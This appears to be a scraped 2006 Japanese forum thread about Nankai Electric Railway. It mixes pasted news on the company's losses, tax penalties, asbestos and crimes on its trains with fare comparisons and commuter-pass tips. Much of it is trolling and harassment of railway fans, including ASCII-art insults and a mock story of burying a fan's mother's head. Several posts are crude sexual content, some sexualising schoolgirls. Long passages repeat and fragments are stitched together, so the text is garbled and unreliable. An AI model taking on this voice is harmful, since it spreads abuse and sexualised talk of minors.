難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）
実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。
前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、
労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。
運転ミス・案内ミス・その他報告ｽﾚ＠南海電鉄編ttp://hobby7.2ch.net/test/read.cgi/rail/1149516106/■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）
この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、
堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。
なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。
建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、
高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉
「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞
前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、
労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。
運転ミス・案内ミス・その他報告ｽﾚ＠南海電鉄編ttp://hobby7.2ch.net/test/read.cgi/rail/1149516106/■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）
この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、
堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。
なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。
建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、
高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉
「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞
しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、
南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。
〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。
あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。
〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。
ttp://mbs.jp/voice/special/200605/23_2733.shtml 現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーする、
情けない赤字南海
南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。
〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。
あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。
〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。
ttp://mbs.jp/voice/special/200605/23_2733.shtml 現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーする、
情けない赤字南海
しつこい伊丹厨難波が１０万人減るのは一瞬だったよな。
目に見えて減っていくのが感じたもん。
私鉄ターミナルでは少ない部類になってしまったよ。
天下茶屋で女性限定で難波までの切符を配ったのもこの時期やな。
次は中百舌鳥で配ると言ったきり配るのをやめてしまった。
目に見えて減っていくのが感じたもん。
私鉄ターミナルでは少ない部類になってしまったよ。
天下茶屋で女性限定で難波までの切符を配ったのもこの時期やな。
次は中百舌鳥で配ると言ったきり配るのをやめてしまった。
296 ：それで嬉しくないのはアンタだw：2006/06/10(土) 00:59:32 ID:YTeBEQ4n0
定期券旅客が増えたけど、たった0.2％で誤差みたいなものですが。
一過性で長期的な減少には変わりないですよ。運賃収入なんか確実に減らしています。
単価が安く、ラッシュ時に多くが利用する定期券旅客が増えても嬉しくはありません。
休日や昼間の定期外旅客が増えないと苦しいままです。
一過性で長期的な減少には変わりないですよ。運賃収入なんか確実に減らしています。
単価が安く、ラッシュ時に多くが利用する定期券旅客が増えても嬉しくはありません。
休日や昼間の定期外旅客が増えないと苦しいままです。
橋本駅の連絡通路上に設置されている改札機もどきの入出場記録機は、
南海発行の連絡定期券も通す必要があるのだとやっと知った。
橋本乗換えのＪＲ〜南海連絡定期券では、南海で発行した定期券は機械を通さないと降りる駅でゲートがしまってしまう。
ＪＲで発行した定期券は、南海線内ではノーチェックなので通す必要なし。
ＪＲで発行の定期券は、サイクルチェックがないので何かと便利。
同じく高野線の三国ヶ丘駅では、西口の兼ね合いで、ＪＲ側から南海側の連絡改札口も便利。
ＪＲの乗車駅から三国ヶ丘までの切符だけで通れるようになっている。
南海発行の連絡定期券も通す必要があるのだとやっと知った。
橋本乗換えのＪＲ〜南海連絡定期券では、南海で発行した定期券は機械を通さないと降りる駅でゲートがしまってしまう。
ＪＲで発行した定期券は、南海線内ではノーチェックなので通す必要なし。
ＪＲで発行の定期券は、サイクルチェックがないので何かと便利。
同じく高野線の三国ヶ丘駅では、西口の兼ね合いで、ＪＲ側から南海側の連絡改札口も便利。
ＪＲの乗車駅から三国ヶ丘までの切符だけで通れるようになっている。
だな。南海で定期を買った奴からその話を聞いたとこやし。
券売機でも買えるのは便利だけど。ＪＲで買う人間が多いのはそれが原因と思う。
南海単独の定期券でチェックを外してもらうために、見せ玉用の泉北の定期券を買ったことがある。
南海と泉北の定期券を窓口に持っていったら、チェックを外す処理をしてくれる。
処理後は泉北の定期券を解約。即日なら払い戻せるのでやってやった。
券売機でも買えるのは便利だけど。ＪＲで買う人間が多いのはそれが原因と思う。
南海単独の定期券でチェックを外してもらうために、見せ玉用の泉北の定期券を買ったことがある。
南海と泉北の定期券を窓口に持っていったら、チェックを外す処理をしてくれる。
処理後は泉北の定期券を解約。即日なら払い戻せるのでやってやった。
何で南海はﾎﾞﾛばっかりなの？新車入れて7000廃車にしないの？
南海沿線は民度が低いからな
ふと感じた、朝ラッシュでも「押し屋」がいない。２０年ほど前は次から次と満員の電車が到着してたもん。
降りたら次の電車がすぐそこまで着ていた。夕ラッシュにも準急があったり活気があった。
難波駅では前もって並んでいても座れなかったもんな。何でこんなに減ってしまったのか。
それも少し関係していても問題でもないよ。急行が天下茶屋に停まらなかったので堺乗り換え。
普通も急行と同じように混んでいました。きょうび休日まで電車を使う人もいませんし。
休日は運賃を１００円均一にするとか案があればいいし。難波駅は活気がなくなって寂しくなんともいえない。
降りたら次の電車がすぐそこまで着ていた。夕ラッシュにも準急があったり活気があった。
難波駅では前もって並んでいても座れなかったもんな。何でこんなに減ってしまったのか。
それも少し関係していても問題でもないよ。急行が天下茶屋に停まらなかったので堺乗り換え。
普通も急行と同じように混んでいました。きょうび休日まで電車を使う人もいませんし。
休日は運賃を１００円均一にするとか案があればいいし。難波駅は活気がなくなって寂しくなんともいえない。
南海ヲタがキモいことばっか書き込んでて建設的な議論ができないから、日本代表が敗れたわけだが
すべて南海ヲタのせいだな
すべて南海ヲタのせいだな
ちなみに、日本が負けたのはお前らのようなキモい鉄ヲタのせい
ttp://hobby7.2ch.net/test/read.cgi/train/1150125168/l50
ttp://hobby7.2ch.net/test/read.cgi/train/1150125168/l50
304 ：名無しでGO!：2006/06/14(水) 00:43:04 ID:y7BADwyx0
無理矢理なこじつけ乙
305 ：名無しでGO!：2006/06/14(水) 23:44:40 ID:Q3J+2fIZ0
南海本線といえば清風南海の女子学生でしょう。
コスプレ喫茶で清風南海高校の制服でサービスしてもらいたいものです。
コスプレ喫茶で清風南海高校の制服でサービスしてもらいたいものです。
南海はボロい南海スレは毎日池沼だらけ
南海と近鉄って関西の負け組だね赤字南海って関西の負け組南海ヲタは規約違反も平気です。
規約違反ページttp://ocean547.net/sound/index.htmＱ．音楽ファイルは使用できますか？
弊社では、著作等に関わらず、ＷＡＶ や ＭＰ３ 等の音楽ファイルの設置
に関しては、サーバー負荷の可能性がある為、お断りしております。
また、ＭＩＤＩなどの小さなファイルサイズの音楽ファイルでも問題はありま
せんがファイル数が多い場合などでも、サーバー負荷を起こす可能性も
考えられますので素材などで公開される場合などでも、サイト上で再生可能にする場合にはご注意下さい。
尚、他社サーバーに動画ファイルを置いて頂き、リンクして頂ければ、
弊社サーバーへの負荷は掛かりませんので、問題ありません。
ttp://lolipop.jp/?mode=support&state=faq&state2=kiyaku&faqid=000328
大手私鉄のランクを付けてみやうttp://hobby7.2ch.net/test/read.cgi/rail/1150365328/
ｦﾀ臭いなここ｡臭いのは体臭だけにしてくれ｡風呂入れよな!鉄ｦﾀ
規約違反ページttp://ocean547.net/sound/index.htmＱ．音楽ファイルは使用できますか？
弊社では、著作等に関わらず、ＷＡＶ や ＭＰ３ 等の音楽ファイルの設置
に関しては、サーバー負荷の可能性がある為、お断りしております。
また、ＭＩＤＩなどの小さなファイルサイズの音楽ファイルでも問題はありま
せんがファイル数が多い場合などでも、サーバー負荷を起こす可能性も
考えられますので素材などで公開される場合などでも、サイト上で再生可能にする場合にはご注意下さい。
尚、他社サーバーに動画ファイルを置いて頂き、リンクして頂ければ、
弊社サーバーへの負荷は掛かりませんので、問題ありません。
ttp://lolipop.jp/?mode=support&state=faq&state2=kiyaku&faqid=000328
大手私鉄のランクを付けてみやうttp://hobby7.2ch.net/test/read.cgi/rail/1150365328/
ｦﾀ臭いなここ｡臭いのは体臭だけにしてくれ｡風呂入れよな!鉄ｦﾀ
大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大大赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤赤
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！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！ 現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会で
シコシコとオナニーする、情けない赤字南海&南海ヲタ南海っていらないよね交通渋滞の名所、羽衣や水軒の踏切が鬱陶しい。アホ特急走らせて和歌山の田舎者を呼び込む南海は不要。
和歌山−難波はＪＲに譲渡しろ。本来必要ない路線だから、必死に走って存在価値を作ってるんじゃないの？阪和間から複線が一本消えたところで、痛くもかゆくもないしね。高野線？ど〜でもいいよ。
高貴な帝塚山に南海は合いませんヤンキーのようなどす赤い下品な電車が走ることを帝塚山民は許さないでしょう。、′、’、′’；、．’’、′’．・,-─-､、′・．’；’、’、′‘ ．・”
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和歌山−難波はＪＲに譲渡しろ。本来必要ない路線だから、必死に走って存在価値を作ってるんじゃないの？阪和間から複線が一本消えたところで、痛くもかゆくもないしね。高野線？ど〜でもいいよ。
高貴な帝塚山に南海は合いませんヤンキーのようなどす赤い下品な電車が走ることを帝塚山民は許さないでしょう。、′、’、′’；、．’’、′’．・,-─-､、′・．’；’、’、′‘ ．・”
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;:;;) ;⌒ ;; :）)､ヽ|::::::',/::/＿_l^l_';:',（´;`ヾ,;⌒)´从⌒;)｀⌒）⌒:｀．・ヽ,[]|::::::::ヽ./::/｢r─ュ |.';:ヽ；゜+°′、:::::．:::赤字南海（,ゞ､⌒）;;:::)::ﾉヽ／´l:::::::::::::｀::::;'
|.|l|l::::ヽ｀:::､ﾉ...;:;_)...::ノソ...::ノ ';:::::::::::::::l.|!.-'´|l:::::::::',ヽ::::::::::l|(￣:｀:::-､l:::::::::',｀7:::::!└─ヽ::::::::::::::::::::::::ll:::::|｀丶､ _:::::::ﾉ|:::::||:l
南海でｉｃｏｃａが使えるようになるとＪＲとの運賃格差で逃げられる南海ｗ
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南海でｉｃｏｃａが使えるようになるとＪＲとの運賃格差で逃げられる南海ｗ
阪和にまともに３２１入ってくると南海も対抗でＥ２３１入れるんかな？／／'"/／,,-､/､ヽ＼ ﾞi;,-''"／.／／─''''"￣,,／
おい赤字南海ヲタ･･･／.//,,,-‐'"-//.／ﾞ""＼ ﾞi;,|､／／／",,,／／,-''//,,-''"_//／ヽｌ/ﾚ'／~／‐／
/／|ｌ|,,-'"／ﾞ/,」|/..::;;;,,,｝／|~,,-‐,,,-'''／／~/／-'''''||/ｌ/‐'''／''.人i'.:::;'"/／ｌﾉﾞi／／,,-‐'"──＝=
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おめぇ、ココ///,;,,＿｝_ﾞ､./__,,_,,/＼,;'/,;;;:;:/;:,,~ヽヽ.ヽニ‐'､／/ﾞi,_おかしいんじゃねぇか？.／'',ｌ,,,,,,/〉ﾞヽ､'''':;
ｌ,,-''"／ﾞi.＼/／ヽ/ﾞヽ､--イ~;;:'"／／::;:;:;:|＼i/ ￣￣ﾞ"|;:"／／ヽ-‐'''"~ｌ|./ﾞ''''ヽ､,,-‐''".i／,;'"＿,,,,,,,,,＿,,,-‐'''-''"~|
("￣"'''''‐--､,,_i'/／'",,-─'''",,,-‐'",-‐'",,,,-‐.__＿|アル中の日雇い労働者=赤字南海ヲタ
もしかして南海って人気無いの(´・ω・`)南海は嫌われてるからだよw 我々は赤字南海ヲタが何故このような糞鉄道会社を語っているのかという
おい赤字南海ヲタ･･･／.//,,,-‐'"-//.／ﾞ""＼ ﾞi;,|､／／／",,,／／,-''//,,-''"_//／ヽｌ/ﾚ'／~／‐／
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おめぇ、ココ///,;,,＿｝_ﾞ､./__,,_,,/＼,;'/,;;;:;:/;:,,~ヽヽ.ヽニ‐'､／/ﾞi,_おかしいんじゃねぇか？.／'',ｌ,,,,,,/〉ﾞヽ､'''':;
ｌ,,-''"／ﾞi.＼/／ヽ/ﾞヽ､--イ~;;:'"／／::;:;:;:|＼i/ ￣￣ﾞ"|;:"／／ヽ-‐'''"~ｌ|./ﾞ''''ヽ､,,-‐''".i／,;'"＿,,,,,,,,,＿,,,-‐'''-''"~|
("￣"'''''‐--､,,_i'/／'",,-─'''",,,-‐'",-‐'",,,,-‐.__＿|アル中の日雇い労働者=赤字南海ヲタ
もしかして南海って人気無いの(´・ω・`)南海は嫌われてるからだよw 我々は赤字南海ヲタが何故このような糞鉄道会社を語っているのかという
疑問を解決するため、赤字南海ヲタの故郷である南海沿線に向かった。「まだ日本にこんなところがあったのか…」
思わず口に出てしまった言葉を、失礼だと同行した上司に咎められた。時速四十キロも出ないような木製の釣り掛け車、
ツギハギだらけの駅舎にひしめき合うホームレスたち、そして彼らは余所者で身なりのいい我々を、監視する様に見詰めている。
快速中山寺停車だの、新快速播州赤穂乗り入れだの、阪和321系登場だので浮かれていた我々は、改めて南海の現状を噛み締めていた。
ボロ屑のような家に居たのは老いた母親一人。我々を見るなり全てを悟ったのか、涙ながらに「息子が申し訳ありません」と我々に何度も土下座して詫びた。
我々はこの時初めて赤字南海ヲタを許そうと思わなかった。誰が悪い訳ではない、赤字南海の貧しさが全て悪かったのだ。
我々は、土下座している赤字南海ヲタの母親の首をそのまま土に埋めると、打ちひしがれながらJR沿線への帰路についた。
８９３排除とかいう情けない広告が車内にある時点で汚物wwwはっきりいって、車両も駅もみな全部ダサいから大阪に乗り入れてくんなボケ！
赤字南海ヲタなんて鉄ｦﾀの中でも最下層のゴミクズだからどんどん排除すべき。自己中なこいつらこそｦﾀが低くみられる要因だからね
大阪がヤクザと暴力団とチンピラの街だという印象が強いのは、すべて南海沿線のせい
思わず口に出てしまった言葉を、失礼だと同行した上司に咎められた。時速四十キロも出ないような木製の釣り掛け車、
ツギハギだらけの駅舎にひしめき合うホームレスたち、そして彼らは余所者で身なりのいい我々を、監視する様に見詰めている。
快速中山寺停車だの、新快速播州赤穂乗り入れだの、阪和321系登場だので浮かれていた我々は、改めて南海の現状を噛み締めていた。
ボロ屑のような家に居たのは老いた母親一人。我々を見るなり全てを悟ったのか、涙ながらに「息子が申し訳ありません」と我々に何度も土下座して詫びた。
我々はこの時初めて赤字南海ヲタを許そうと思わなかった。誰が悪い訳ではない、赤字南海の貧しさが全て悪かったのだ。
我々は、土下座している赤字南海ヲタの母親の首をそのまま土に埋めると、打ちひしがれながらJR沿線への帰路についた。
８９３排除とかいう情けない広告が車内にある時点で汚物wwwはっきりいって、車両も駅もみな全部ダサいから大阪に乗り入れてくんなボケ！
赤字南海ヲタなんて鉄ｦﾀの中でも最下層のゴミクズだからどんどん排除すべき。自己中なこいつらこそｦﾀが低くみられる要因だからね
大阪がヤクザと暴力団とチンピラの街だという印象が強いのは、すべて南海沿線のせい
∧_∧ｾｲﾔｯ!!‘rｰ（,｀〆）,，∴’＿ii,__、/}ﾐ∧∧―＝￣｀ヽ,/ｔ､,,__,,j,ﾉヽ､
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,/i赤字南海;'´,;-'".i.,´ヽ,
くたばれ赤字南海
南海沿線は昔からＤＱＮ厨房が多いし治安も悪い
赤字南海なんてどうでもいい
316 ：珍作は孝子在住：2006/06/19(月) 21:39:39 ID:gVb6aYqq0
俺んちは孝子駅の近くなんだけど、毎朝５時起きで電車で仕事に行ってるんだけどさ、
必ず座れるって言うか一番前の車両に乗ればほとんど俺ひとり。１５分以上も誰も乗ってこない。タバコ吸ったり、センズリこいたり好き放題。
この前の金曜日も前日仕入れたロリ本見てたら、チンボコでかくなって来て、ヒザまでパンツさげてセンズリこいてたんだよね。
でちょっとウトってしちゃって。ヤバイ、人がそろそろ乗ってくるなあ。と思った瞬間。俺は飛びあがったよ。
永い時間寝てたらしく、電車は大阪内を走ってて車内は超満員。そんな中で俺だけがチンボコ丸出しでロリ本持ってる。
すぐにズボンを穿き、次の駅で飛び降りた。今までの人生の中で一番恥ずかしい経験。 ボロ南海保守age！
俺なんかチビた君したよそこに女子高生座ってイか臭くない？ってさwwwwwそして妊娠したw
必ず座れるって言うか一番前の車両に乗ればほとんど俺ひとり。１５分以上も誰も乗ってこない。タバコ吸ったり、センズリこいたり好き放題。
この前の金曜日も前日仕入れたロリ本見てたら、チンボコでかくなって来て、ヒザまでパンツさげてセンズリこいてたんだよね。
でちょっとウトってしちゃって。ヤバイ、人がそろそろ乗ってくるなあ。と思った瞬間。俺は飛びあがったよ。
永い時間寝てたらしく、電車は大阪内を走ってて車内は超満員。そんな中で俺だけがチンボコ丸出しでロリ本持ってる。
すぐにズボンを穿き、次の駅で飛び降りた。今までの人生の中で一番恥ずかしい経験。 ボロ南海保守age！
俺なんかチビた君したよそこに女子高生座ってイか臭くない？ってさwwwwwそして妊娠したw
JR和歌山〜天王寺830円南海和歌山市〜新今宮850円御堂筋なかもず〜なんば310円南海中百舌鳥〜難波320円
JR和歌山〜橋本820円南海和歌山市〜橋本1140円JR関西空港〜日根野440円南海関西空港〜泉佐野470円
JR東羽衣〜天王寺290円南海羽衣〜新今宮320円南海の運賃は高過ぎね。難波〜和歌山市６４キロ８９０円
難波〜中百舌鳥１３キロ３２０円阪急ＨＤの場合は河原町〜三宮７５キロ６００円
梅田〜三宮または阪神梅田〜元町３２キロ３１０円公営でも梅田〜なかもず１８キロ３１０円もはや南海は経営努力を
怠ったと断言せざるを得ないとしか言いようがない。【運賃高い】南海電気鉄道ｽﾚｯﾄﾞNa74【赤字南海】◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆
2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、
来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。
ソース：www.asahi.com/kansai/news/OSK200605120072.html◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇
南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、
重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。
関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。
しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。
また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。
不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html
JR和歌山〜橋本820円南海和歌山市〜橋本1140円JR関西空港〜日根野440円南海関西空港〜泉佐野470円
JR東羽衣〜天王寺290円南海羽衣〜新今宮320円南海の運賃は高過ぎね。難波〜和歌山市６４キロ８９０円
難波〜中百舌鳥１３キロ３２０円阪急ＨＤの場合は河原町〜三宮７５キロ６００円
梅田〜三宮または阪神梅田〜元町３２キロ３１０円公営でも梅田〜なかもず１８キロ３１０円もはや南海は経営努力を
怠ったと断言せざるを得ないとしか言いようがない。【運賃高い】南海電気鉄道ｽﾚｯﾄﾞNa74【赤字南海】◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆
2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、
来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。
ソース：www.asahi.com/kansai/news/OSK200605120072.html◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇
南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、
重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。
関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。
しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。
また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。
不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html
南海電鉄 アスベストむき出しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、
天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれは
ないとして撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html
４少年が電車・駅で女子高生にわいせつ行為 容疑で逮捕--------------------------------------------------------------------------------
大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む
高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）
容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は
１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。
女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。
高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、
当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。
ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の
南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。
天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれは
ないとして撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html
４少年が電車・駅で女子高生にわいせつ行為 容疑で逮捕--------------------------------------------------------------------------------
大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む
高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）
容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は
１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。
女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。
高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、
当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。
ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の
南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。
男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。
調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。
ソース：朝日新聞２月28日付朝刊35頁社会面 南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か
経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。
各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。
しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、
同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、
同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。
さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、
少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。
調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。
ソース：朝日新聞２月28日付朝刊35頁社会面 南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か
経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。
各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。
しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、
同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、
同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。
さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、
